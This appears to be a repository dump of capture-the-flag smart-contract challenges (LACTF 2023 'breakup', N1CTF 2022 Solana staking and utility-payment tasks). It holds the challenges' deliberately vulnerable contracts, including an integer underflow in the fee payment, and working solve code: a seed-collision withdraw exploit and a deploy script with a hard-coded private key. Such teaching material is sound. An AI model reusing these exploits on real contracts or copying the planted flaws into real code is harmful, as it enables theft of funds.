friend.burn(friend.tokenOfOwnerByIndex(address(targetContract.somebodyYouUsedToKnow()), i)); 30 | } 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /lactf2023/breakup/contracts/Friend.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.18; 3 | 4 | import "@openzeppelin/contracts/access/Ownable.sol"; 5 | import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; 6 | import "@openzeppelin/contracts/utils/Counters.sol"; 7 | 8 | contract Friend is ERC721Enumerable, Ownable { 9 | using Counters for Counters.Counter; 10 | 11 | Counters.Counter private _uuidCounter; 12 | mapping(uint256 => string) public friendNames; 13 | 14 | constructor() ERC721("Friend", "FRN") {} 15 | 16 | function safeMint(address to, string calldata name) public { 17 | _uuidCounter.increment(); 18 | uint256 tokenId = _uuidCounter.current(); 19 | _safeMint(to, tokenId); 20 | friendNames[tokenId] = name; 21 | } 22 | 23 | function burn(uint256 tokenId) public { 24 | _burn(tokenId); 25 | delete friendNames[tokenId]; 26 | } 27 | 28 | function friend(string calldata name) public { 29 | bytes memory nameBytes = bytes(name); 30 | uint256 totalFriends = balanceOf(msg.sender); 31 | for (uint256 i = 0; i < totalFriends; i++) { 32 | bytes memory thisNameBytes = bytes(friendNames[tokenOfOwnerByIndex(msg.sender, i)]); 33 | if ( 34 | nameBytes.length == thisNameBytes.length && 35 | (nameBytes.length == 0 || keccak256(nameBytes) == keccak256(thisNameBytes)) 36 | ) { 37 | revert("You're already friends with that person!"); 38 | } 39 | } 40 | 41 | safeMint(msg.sender, name); 42 | } 43 | 44 | function unfriend(string calldata name) public { 45 | bytes memory nameBytes = bytes(name); 46 | uint256 totalFriends = balanceOf(msg.sender); 47 | for (uint256 i = 0; i < totalFriends; i++) { 48 | uint256 tokenId = tokenOfOwnerByIndex(msg.sender, i); 49 | bytes memory thisNameBytes = bytes(friendNames[tokenId]); 50 | if ( 51 | nameBytes.length == thisNameBytes.length && 52 | (nameBytes.length == 0 || keccak256(nameBytes) == keccak256(thisNameBytes)) 53 | ) { 54 | burn(tokenId); 55 | return; 56 | } 57 | } 58 | 59 | revert("You weren't friends with that person anyways."); 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /lactf2023/breakup/contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.18; 3 | 4 | import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; 5 | import "./Friend.sol"; 6 | 7 | contract Setup { 8 | Friend public immutable friend; 9 | SomebodyYouUsedToKnow public immutable somebodyYouUsedToKnow; 10 | 11 | constructor() { 12 | friend = new Friend(); 13 | somebodyYouUsedToKnow = new SomebodyYouUsedToKnow(friend); 14 | } 15 | 16 | function isSolved() external view returns (bool) { 17 | uint256 totalFriends = friend.balanceOf(address(somebodyYouUsedToKnow)); 18 | if (totalFriends == 0) { 19 | return true; 20 | } 21 | 22 | bytes memory you = "You"; 23 | for (uint256 i = 0; i < totalFriends; i++) { 24 | bytes memory thisNameBytes = bytes( 25 | friend.friendNames(friend.tokenOfOwnerByIndex(address(somebodyYouUsedToKnow), i)) 26 | ); 27 | if (you.length == thisNameBytes.length && keccak256(you) == keccak256(thisNameBytes)) { 28 | return false; 29 | } 30 | } 31 | 32 | return true; 33 | } 34 | } 35 | 36 | contract SomebodyYouUsedToKnow is IERC721Receiver { 37 | constructor(Friend friend) { 38 | friend.friend("You"); 39 | } 40 | 41 | function onERC721Received( 42 | address, 43 | address, 44 | uint256, 45 | bytes calldata 46 | ) external pure override returns (bytes4) { 47 | return IERC721Receiver.onERC721Received.selector; 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /lactf2023/breakup/solve.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | forge create Exploit --rpc-url https://breakup.lac.tf/67221623-a638-4cac-9882-03fcd6504bcd --private-key 0x73b285ee21912536485ccae585b96547c6e25daf7ebc14c914e911cd8d83ec41 --constructor-args 0xe39cD998C3F9f9F1eBbC38832C8babA91fB064B8 --value 100ether 4 | -------------------------------------------------------------------------------- /n1ctf2022/Simple_Staking/framework-solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve-framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program = "*" 10 | spl-token = "*" 11 | solve = { path="./solve/programs/solve", features = ["no-entrypoint"]} 12 | chall = { path="../framework/chall/programs/chall", features = ["no-entrypoint"]} 13 | -------------------------------------------------------------------------------- /n1ctf2022/Simple_Staking/framework-solve/solve/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | solve = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /n1ctf2022/Simple_Staking/framework-solve/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /n1ctf2022/Simple_Staking/framework-solve/solve/programs/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "solve" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = "0.24.2" 26 | anchor-spl = "0.24.2" 27 | chall = { path = "../../../../framework/chall/programs/chall", features = ["cpi"]} 28 | -------------------------------------------------------------------------------- /n1ctf2022/Simple_Staking/framework-solve/solve/programs/solve/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /n1ctf2022/Simple_Staking/framework-solve/solve/programs/solve/src/lib.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | 3 | use anchor_spl::token::{Mint, Token, TokenAccount}; 4 | 5 | declare_id!("28prS7e14Fsm97GE5ws2YpjxseFNkiA33tB5D3hLZv3t"); 6 | 7 | #[program] 8 | pub mod solve { 9 | use super::*; 10 | 11 | pub fn initialize(ctx: Context) -> Result<()> { 12 | 13 | let o1 = String::from("producte"); 14 | let e1 = String::from("mploy_A"); 15 | 16 | let cpi_accounts = chall::cpi::accounts::Register { 17 | catalog: ctx.accounts.catalog.to_account_info(), 18 | employee_record: ctx.accounts.user_record.to_account_info(), 19 | user: ctx.accounts.user.to_account_info(), 20 | system_program: ctx.accounts.system_program.to_account_info(), 21 | rent: ctx.accounts.rent.to_account_info(), 22 | }; 23 | let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 24 | chall::cpi::register(cpi_ctx, o1, e1)?; 25 | 26 | // -------------------------------------------- 27 | // your instruction goes here 28 | let o2 = String::from("producte"); 29 | let e2 = String::from("mploy_A"); 30 | 31 | let cpi_accounts = chall::cpi::accounts::Withdraw { 32 | vault: ctx.accounts.vault.to_account_info(), 33 | employee_record: ctx.accounts.user_record.to_account_info(), 34 | reserve: ctx.accounts.reserve.to_account_info(), 35 | user_account: ctx.accounts.user_token_account.to_account_info(), 36 | mint: ctx.accounts.mint.to_account_info(), 37 | payer: ctx.accounts.user.to_account_info(), 38 | token_program: ctx.accounts.token_program.to_account_info(), 39 | system_program: ctx.accounts.system_program.to_account_info(), 40 | rent: ctx.accounts.rent.to_account_info(), 41 | }; 42 | let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 43 | chall::cpi::withdraw(cpi_ctx, o2, e2, 500)?; 44 | 45 | Ok(()) 46 | } 47 | } 48 | 49 | #[derive(Accounts)] 50 | pub struct Initialize<'info> { 51 | #[account(mut)] 52 | pub catalog: AccountInfo<'info>, 53 | 54 | #[account(mut)] 55 | pub user_record: AccountInfo<'info>, 56 | 57 | #[account(mut)] 58 | pub vault: AccountInfo<'info>, 59 | 60 | pub mint: Account<'info, Mint>, 61 | 62 | #[account(mut)] 63 | pub reserve: Account<'info, TokenAccount>, 64 | 65 | #[account(mut)] 66 | pub user_token_account: Account<'info, TokenAccount>, 67 | 68 | #[account(mut)] 69 | pub user: Signer<'info>, 70 | pub token_program: Program<'info, Token>, 71 | pub system_program: Program<'info, System>, 72 | pub chall: Program<'info, chall::program::Chall>, 73 | pub rent: Sysvar<'info, Rent>, 74 | } 75 | -------------------------------------------------------------------------------- /n1ctf2022/Simple_Staking/framework-solve/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::{InstructionData, ToAccountMetas, system_program}; 2 | use solana_program::pubkey::Pubkey; 3 | use std::net::TcpStream; 4 | use std::{error::Error, fs, io::prelude::*, io::BufReader, str::FromStr}; 5 | 6 | fn get_line(reader: &mut BufReader) -> Result> { 7 | let mut line = String::new(); 8 | reader.read_line(&mut line)?; 9 | 10 | let ret = line 11 | .split(':') 12 | .nth(1) 13 | .ok_or("invalid input")? 14 | .trim() 15 | .to_string(); 16 | 17 | Ok(ret) 18 | } 19 | 20 | fn main() -> Result<(), Box> { 21 | let mut stream = TcpStream::connect("127.0.0.1:8080")?; 22 | let mut reader = BufReader::new(stream.try_clone().unwrap()); 23 | 24 | let mut line = String::new(); 25 | 26 | let so_data = fs::read("./solve/target/deploy/solve.so")?; 27 | 28 | reader.read_line(&mut line)?; 29 | writeln!(stream, "{}", solve::ID)?; 30 | reader.read_line(&mut line)?; 31 | writeln!(stream, "{}", so_data.len())?; 32 | stream.write_all(&so_data)?; 33 | 34 | 35 | let chall_id = chall::ID; 36 | 37 | let user = Pubkey::from_str(&get_line(&mut reader)?)?; 38 | let user_record = Pubkey::from_str(&get_line(&mut reader)?)?; 39 | let catalog = Pubkey::from_str(&get_line(&mut reader)?)?; 40 | let mint = Pubkey::from_str(&get_line(&mut reader)?)?; 41 | let user_token_account = Pubkey::from_str(&get_line(&mut reader)?)?; 42 | let reserve = Pubkey::from_str(&get_line(&mut reader)?)?; 43 | 44 | let vault = Pubkey::find_program_address( 45 | &[b"producte", b"mploy_A"], 46 | &chall_id, 47 | ).0; 48 | 49 | println!(""); 50 | println!("user : {}", user); 51 | println!("user_record : {}", user_record); 52 | println!("catalog : {}", catalog); 53 | println!("mint : {}", mint); 54 | println!("user_account : {}", user_token_account); 55 | println!("reserve : {}", reserve); 56 | println!("vault : {}", vault); 57 | println!(""); 58 | 59 | let ix = solve::instruction::Initialize {}; 60 | let data = ix.data(); 61 | 62 | let ix_accounts = solve::accounts::Initialize { 63 | catalog, 64 | user_record, 65 | user, 66 | vault, 67 | mint, 68 | reserve, 69 | user_token_account, 70 | token_program: spl_token::ID, 71 | system_program: system_program::ID, 72 | chall: chall_id, 73 | rent: solana_program::sysvar::rent::ID, 74 | }; 75 | 76 | let metas = ix_accounts.to_account_metas(None); 77 | 78 | reader.read_line(&mut line)?; 79 | writeln!(stream, "{}", metas.len())?; 80 | for meta in metas { 81 | let mut meta_str = String::new(); 82 | meta_str.push('m'); 83 | if meta.is_writable { 84 | meta_str.push('w'); 85 | } 86 | if meta.is_signer { 87 | meta_str.push('s'); 88 | } 89 | meta_str.push(' '); 90 | meta_str.push_str(&meta.pubkey.to_string()); 91 | writeln!(stream, "{}", meta_str)?; 92 | stream.flush()?; 93 | } 94 | 95 | reader.read_line(&mut line)?; 96 | writeln!(stream, "{}", data.len())?; 97 | stream.write_all(&data)?; 98 | 99 | stream.flush()?; 100 | 101 | line.clear(); 102 | while reader.read_line(&mut line)? != 0 { 103 | print!("{}", line); 104 | line.clear(); 105 | } 106 | 107 | Ok(()) 108 | } 109 | -------------------------------------------------------------------------------- /n1ctf2022/Simple_Staking/framework/.dockerignore: -------------------------------------------------------------------------------- 1 | target 2 | chall/target 3 | !chall/target/deploy 4 | chall/.anchor 5 | chall/node_modules 6 | -------------------------------------------------------------------------------- /n1ctf2022/Simple_Staking/framework/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program-test = "1.9.13" 10 | solana-program = "1.9.13" 11 | solana-logger = "1.9.13" 12 | solana-sdk = "1.9.13" 13 | spl-token = "3.3.0" 14 | chall = { path ="./chall/programs/chall", features = ["no-entrypoint"] } 15 | sol-ctf-framework = { git = "https://github.com/otter-sec/sol-ctf-framework", branch="rewrite-v2" } 16 | #sol-ctf-framework = { path="../../sol-ctf-framework" } 17 | threadpool = "1.8.1" 18 | -------------------------------------------------------------------------------- /n1ctf2022/Simple_Staking/framework/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust@sha256:0372c87d4372dc1ae23caaf287f643f7c5ca799b40405efbb1bdf67588cc2629 2 | 3 | RUN apt-get update && apt-get install -qy libudev-dev 4 | 5 | WORKDIR /app 6 | COPY Cargo.toml Cargo.lock ./ 7 | COPY src ./src 8 | 9 | COPY chall ./chall 10 | 11 | RUN cargo build --release 12 | 13 | RUN sh -c "$(curl -sSfL https://release.solana.com/v1.10.32/install)" 14 | ENV PATH="/root/.local/share/solana/install/active_release/bin:${PATH}" 15 | ENV FLAG="flag{this_is_a_fake_flag}" 16 | RUN cd chall && cargo build-bpf 17 | 18 | CMD [ "./target/release/framework" ] 19 | -------------------------------------------------------------------------------- /n1ctf2022/Simple_Staking/framework/chall/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | chall = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /n1ctf2022/Simple_Staking/framework/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /n1ctf2022/Simple_Staking/framework/chall/programs/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "chall" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "chall" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = { version = "0.24.2", features = ["init-if-needed"] } 26 | anchor-spl = "0.24.2" 27 | -------------------------------------------------------------------------------- /n1ctf2022/Simple_Staking/framework/chall/programs/chall/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /n1ctf2022/Simple_Staking/run.sh: -------------------------------------------------------------------------------- 1 | cd framework-solve/solve && cargo build-bpf 2 | cd .. 3 | cargo r --release 4 | -------------------------------------------------------------------------------- /n1ctf2022/Utility_Payment_Service/.dockerignore: -------------------------------------------------------------------------------- 1 | server/target 2 | program/target 3 | !program/target/deploy 4 | -------------------------------------------------------------------------------- /n1ctf2022/Utility_Payment_Service/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust@sha256:0372c87d4372dc1ae23caaf287f643f7c5ca799b40405efbb1bdf67588cc2629 2 | 3 | RUN apt-get update && apt-get install -qy libudev-dev 4 | 5 | WORKDIR /app 6 | COPY server ./server 7 | COPY program ./program 8 | 9 | RUN sh -c "$(curl -sSfL https://release.solana.com/v1.10.32/install)" 10 | ENV PATH="/root/.local/share/solana/install/active_release/bin:${PATH}" 11 | 12 | RUN mkdir -p /app/challenge 13 | 14 | COPY flag.txt /app/challenge/flag.txt 15 | 16 | RUN cd server && make 17 | RUN cd program && make 18 | 19 | WORKDIR /app/challenge 20 | 21 | CMD [ "./utility-payment-server" ] 22 | -------------------------------------------------------------------------------- /n1ctf2022/Utility_Payment_Service/flag.txt: -------------------------------------------------------------------------------- 1 | flag{this_is_a_fake_flag} 2 | 3 | -------------------------------------------------------------------------------- /n1ctf2022/Utility_Payment_Service/program/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "utility-payment" 3 | version = "1.0.0" 4 | edition = "2021" 5 | 6 | [features] 7 | no-entrypoint = [] 8 | 9 | [dependencies] 10 | borsh = "0.9.3" 11 | borsh-derive = "0.9.3" 12 | solana-program = "1.8.14" 13 | 14 | [lib] 15 | crate-type = ["cdylib", "lib"] 16 | -------------------------------------------------------------------------------- /n1ctf2022/Utility_Payment_Service/program/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: build 2 | build: 3 | cargo build-bpf 4 | cp ./target/deploy/utility_payment.so ../challenge 5 | -------------------------------------------------------------------------------- /n1ctf2022/Utility_Payment_Service/program/src/entrypoint.rs: -------------------------------------------------------------------------------- 1 | #![cfg(not(feature = "no-entrypoint"))] 2 | 3 | use solana_program::{ 4 | account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, pubkey::Pubkey, 5 | }; 6 | 7 | entrypoint!(process_instruction); 8 | fn process_instruction( 9 | program_id: &Pubkey, 10 | accounts: &[AccountInfo], 11 | instruction_data: &[u8], 12 | ) -> ProgramResult { 13 | crate::processor::process_instruction(program_id, accounts, instruction_data) 14 | } 15 | -------------------------------------------------------------------------------- /n1ctf2022/Utility_Payment_Service/program/src/lib.rs: -------------------------------------------------------------------------------- 1 | mod entrypoint; 2 | pub mod processor; 3 | 4 | use borsh::{BorshDeserialize, BorshSerialize}; 5 | 6 | use solana_program::{ 7 | instruction::{AccountMeta, Instruction}, 8 | pubkey::Pubkey, 9 | system_program, 10 | }; 11 | 12 | use std::mem::size_of; 13 | 14 | #[derive(BorshDeserialize, BorshSerialize)] 15 | pub enum ServiceInstruction { 16 | Init {}, 17 | DepositEscrow { amount: u16 }, 18 | WithdrawEscrow {}, 19 | Pay { amount: u16 }, 20 | } 21 | 22 | #[repr(C)] 23 | #[derive(BorshSerialize, BorshDeserialize)] 24 | pub struct Escrow { 25 | pub user: Pubkey, 26 | pub amount: u16, 27 | pub bump: u8, 28 | } 29 | 30 | pub const ESCROW_ACCOUNT_SIZE: usize = size_of::(); 31 | 32 | pub fn init(program: Pubkey, user: Pubkey, reserve: Pubkey, escrow_account: Pubkey) -> Instruction { 33 | Instruction { 34 | program_id: program, 35 | accounts: vec![ 36 | AccountMeta::new(user, true), 37 | AccountMeta::new(reserve, false), 38 | AccountMeta::new(escrow_account, false), 39 | AccountMeta::new_readonly(system_program::id(), false), 40 | ], 41 | data: ServiceInstruction::Init {}.try_to_vec().unwrap(), 42 | } 43 | } 44 | 45 | pub fn deposit_escrow( 46 | program: Pubkey, 47 | user: Pubkey, 48 | reserve: Pubkey, 49 | escrow_account: Pubkey, 50 | amount: u16, 51 | ) -> Instruction { 52 | Instruction { 53 | program_id: program, 54 | accounts: vec![ 55 | AccountMeta::new(user, true), 56 | AccountMeta::new(reserve, false), 57 | AccountMeta::new(escrow_account, false), 58 | AccountMeta::new_readonly(system_program::id(), false), 59 | ], 60 | data: ServiceInstruction::DepositEscrow { amount } 61 | .try_to_vec() 62 | .unwrap(), 63 | } 64 | } 65 | 66 | pub fn withdraw_escrow( 67 | program: Pubkey, 68 | user: Pubkey, 69 | reserve: Pubkey, 70 | escrow_account: Pubkey, 71 | ) -> Instruction { 72 | Instruction { 73 | program_id: program, 74 | accounts: vec![ 75 | AccountMeta::new(user, true), 76 | AccountMeta::new(reserve, false), 77 | AccountMeta::new(escrow_account, false), 78 | AccountMeta::new_readonly(system_program::id(), false), 79 | ], 80 | data: ServiceInstruction::WithdrawEscrow {}.try_to_vec().unwrap(), 81 | } 82 | } 83 | 84 | pub fn pay_utility_fees( 85 | program: Pubkey, 86 | user: Pubkey, 87 | reserve: Pubkey, 88 | escrow_account: Pubkey, 89 | amount: u16, 90 | ) -> Instruction { 91 | Instruction { 92 | program_id: program, 93 | accounts: vec![ 94 | AccountMeta::new(user, true), 95 | AccountMeta::new(reserve, false), 96 | AccountMeta::new(escrow_account, false), 97 | AccountMeta::new_readonly(system_program::id(), false), 98 | ], 99 | data: ServiceInstruction::Pay { amount }.try_to_vec().unwrap(), 100 | } 101 | } 102 | -------------------------------------------------------------------------------- /n1ctf2022/Utility_Payment_Service/program/src/processor.rs: -------------------------------------------------------------------------------- 1 | use borsh::{BorshDeserialize, BorshSerialize}; 2 | 3 | use solana_program::{ 4 | account_info::{next_account_info, AccountInfo}, 5 | entrypoint::ProgramResult, 6 | msg, 7 | program::{invoke, invoke_signed}, 8 | pubkey::Pubkey, 9 | system_instruction, 10 | }; 11 | 12 | use crate::{Escrow, ServiceInstruction, ESCROW_ACCOUNT_SIZE}; 13 | 14 | pub fn process_instruction( 15 | program: &Pubkey, 16 | accounts: &[AccountInfo], 17 | mut data: &[u8], 18 | ) -> ProgramResult { 19 | match ServiceInstruction::deserialize(&mut data)? { 20 | ServiceInstruction::Init {} => init_escrow(program, accounts), 21 | ServiceInstruction::DepositEscrow { amount } => deposit_escrow(program, accounts, amount), 22 | ServiceInstruction::WithdrawEscrow {} => withdraw_escrow(program, accounts), 23 | ServiceInstruction::Pay { amount } => pay_utility_fees(program, accounts, amount), 24 | } 25 | } 26 | 27 | pub fn get_escrow(program: Pubkey, user: Pubkey) -> (Pubkey, u8) { 28 | Pubkey::find_program_address(&["ESCROW".as_bytes(), &user.to_bytes()], &program) 29 | } 30 | 31 | pub fn get_reserve(program: Pubkey) -> (Pubkey, u8) { 32 | Pubkey::find_program_address(&["RESERVE".as_bytes()], &program) 33 | } 34 | 35 | 36 | /// 37 | /// init escrow 38 | /// 39 | fn init_escrow(program: &Pubkey, accounts: &[AccountInfo]) -> ProgramResult { 40 | let account_iter = &mut accounts.iter(); 41 | 42 | let user = next_account_info(account_iter)?; 43 | let _reserve = next_account_info(account_iter)?; 44 | let escrow_account = next_account_info(account_iter)?; 45 | let sys_prog = next_account_info(account_iter)?; 46 | 47 | assert!(user.is_signer); 48 | assert!(escrow_account.data_is_empty()); 49 | let (expected_escrow, escrow_bump) = get_escrow(*program, *user.key); 50 | 51 | invoke_signed( 52 | &system_instruction::create_account( 53 | &user.key, 54 | &expected_escrow, 55 | 1, 56 | ESCROW_ACCOUNT_SIZE as u64, 57 | &program, 58 | ), 59 | &[user.clone(), escrow_account.clone(), sys_prog.clone()], 60 | &[&["ESCROW".as_bytes(), &user.key.to_bytes(), &[escrow_bump]]], 61 | )?; 62 | 63 | let escrow_data = Escrow { 64 | user: *user.key, 65 | amount: 0, 66 | bump: escrow_bump, 67 | }; 68 | 69 | escrow_data.serialize(&mut &mut (*escrow_account.data).borrow_mut()[..]).unwrap(); 70 | 71 | Ok(()) 72 | } 73 | 74 | /// 75 | /// deposit escrow 76 | /// 77 | fn deposit_escrow( 78 | program: &Pubkey, 79 | accounts: &[AccountInfo], 80 | deposit_amount: u16, 81 | ) -> ProgramResult { 82 | let account_iter = &mut accounts.iter(); 83 | 84 | let user = next_account_info(account_iter)?; 85 | let reserve = next_account_info(account_iter)?; 86 | let escrow_account = next_account_info(account_iter)?; 87 | let sys_prog = next_account_info(account_iter)?; 88 | 89 | assert!(user.is_signer); 90 | let (expected_reserve, _reserve_bump) = get_reserve(*program); 91 | assert_eq!(expected_reserve, *reserve.key); 92 | let (expected_escrow, _escrow_bump) = get_escrow(*program, *user.key); 93 | assert_eq!(expected_escrow, *escrow_account.key); 94 | 95 | invoke( 96 | &system_instruction::transfer(&user.key, &reserve.key, deposit_amount as u64), 97 | &[ 98 | user.clone(), 99 | reserve.clone(), 100 | sys_prog.clone() 101 | ], 102 | )?; 103 | 104 | let escrow_data = &mut Escrow::deserialize(&mut &(*escrow_account.data).borrow_mut()[..])?; 105 | escrow_data.amount += deposit_amount; 106 | escrow_data 107 | .serialize(&mut &mut (*escrow_account.data).borrow_mut()[..]) 108 | .unwrap(); 109 | 110 | Ok(()) 111 | } 112 | 113 | /// 114 | /// withdraw all balance in escrow 115 | /// 116 | fn withdraw_escrow(program: &Pubkey, accounts: &[AccountInfo]) -> ProgramResult { 117 | let account_iter = &mut accounts.iter(); 118 | 119 | let user = next_account_info(account_iter)?; 120 | let reserve = next_account_info(account_iter)?; 121 | let escrow_account = next_account_info(account_iter)?; 122 | let sys_prog = next_account_info(account_iter)?; 123 | 124 | assert!(user.is_signer); 125 | let (expected_reserve, reserve_bump) = get_reserve(*program); 126 | assert_eq!(expected_reserve, *reserve.key); 127 | let (expected_escrow, _escrow_bump) = get_escrow(*program, *user.key); 128 | assert_eq!(expected_escrow, *escrow_account.key); 129 | 130 | let escrow_data = &mut Escrow::deserialize(&mut &(*escrow_account.data).borrow_mut()[..])?; 131 | let balance = escrow_data.amount; 132 | invoke_signed( 133 | &system_instruction::transfer(&reserve.key, &user.key, balance as u64), 134 | &[user.clone(), reserve.clone(), sys_prog.clone()], 135 | &[&["RESERVE".as_bytes(), &[reserve_bump]]], 136 | )?; 137 | 138 | escrow_data.amount = 0; 139 | escrow_data 140 | .serialize(&mut &mut (*escrow_account.data).borrow_mut()[..]) 141 | .unwrap(); 142 | 143 | Ok(()) 144 | } 145 | 146 | /// 147 | /// pay utility 148 | /// 149 | fn pay_utility_fees(program: &Pubkey, accounts: &[AccountInfo], amount: u16) -> ProgramResult { 150 | let account_iter = &mut accounts.iter(); 151 | 152 | let user = next_account_info(account_iter)?; 153 | let reserve = next_account_info(account_iter)?; 154 | let escrow_account = next_account_info(account_iter)?; 155 | let _sys_prog = next_account_info(account_iter)?; 156 | 157 | assert!(user.is_signer); 158 | let (expected_reserve, _reserve_bump) = get_reserve(*program); 159 | assert_eq!(expected_reserve, *reserve.key); 160 | let (expected_escrow, _escrow_bump) = get_escrow(*program, *user.key); 161 | assert_eq!(expected_escrow, *escrow_account.key); 162 | 163 | let escrow_data = &mut Escrow::deserialize(&mut &(*escrow_account.data).borrow_mut()[..])?; 164 | 165 | let base_fee = 15_u16; 166 | if escrow_data.amount >= 10 { 167 | if amount < base_fee { 168 | escrow_data.amount -= base_fee; 169 | } else { 170 | assert!(escrow_data.amount >= amount); 171 | escrow_data.amount -= amount; 172 | } 173 | } else { 174 | msg!("ABORT: Cannot make payments when the escrow account has a balance less than 10 lamports."); 175 | } 176 | 177 | escrow_data 178 | .serialize(&mut &mut (*escrow_account.data).borrow_mut()[..]) 179 | .unwrap(); 180 | 181 | Ok(()) 182 | } 183 | -------------------------------------------------------------------------------- /n1ctf2022/Utility_Payment_Service/server/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "utility-payment-server" 3 | version = "1.0.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | sol-ctf-framework = "0.1.0" 8 | poc-framework-osec = "0.1.1" 9 | solana-program = "1.8.14" 10 | threadpool = "1.8.1" 11 | utility-payment = { version = "1.0.0", path = "../program" } 12 | -------------------------------------------------------------------------------- /n1ctf2022/Utility_Payment_Service/server/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: build 2 | build: 3 | cargo build --release 4 | cp ./target/release/utility-payment-server ../challenge 5 | -------------------------------------------------------------------------------- /n1ctf2022/Utility_Payment_Service/server/src/main.rs: -------------------------------------------------------------------------------- 1 | use poc_framework_osec::{ 2 | solana_sdk::signature::{Keypair, Signer}, 3 | Environment, 4 | // setup_logging, LogLevel, 5 | // PrintableTransaction, 6 | }; 7 | 8 | use sol_ctf_framework::ChallengeBuilder; 9 | 10 | use solana_program::{system_program}; 11 | 12 | use std::{ 13 | error::Error, 14 | fs, 15 | io::Write, 16 | net::{TcpListener, TcpStream}, 17 | }; 18 | 19 | use threadpool::ThreadPool; 20 | 21 | use utility_payment::{processor::{get_reserve}}; 22 | 23 | fn main() -> Result<(), Box> { 24 | let listener = TcpListener::bind("0.0.0.0:5000")?; 25 | let pool = ThreadPool::new(4); 26 | for stream in listener.incoming() { 27 | let stream = stream.unwrap(); 28 | 29 | pool.execute(|| { 30 | handle_connection(stream).unwrap(); 31 | }); 32 | } 33 | Ok(()) 34 | } 35 | 36 | fn handle_connection(mut socket: TcpStream) -> Result<(), Box> { 37 | let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap(); 38 | 39 | // load programs 40 | let solve_pubkey = builder.input_program().unwrap(); 41 | let program_pubkey = builder.chall_programs(&["./utility_payment.so"])[0]; 42 | 43 | // make user 44 | let user = Keypair::new(); 45 | 46 | writeln!(socket, "program pubkey: {}", program_pubkey)?; 47 | writeln!(socket, "solve pubkey: {}", solve_pubkey)?; 48 | writeln!(socket, "user pubkey: {}", user.pubkey())?; 49 | 50 | // println!("program: {}", program_pubkey); 51 | 52 | // add accounts and lamports 53 | let (reserve, _) = get_reserve(program_pubkey); 54 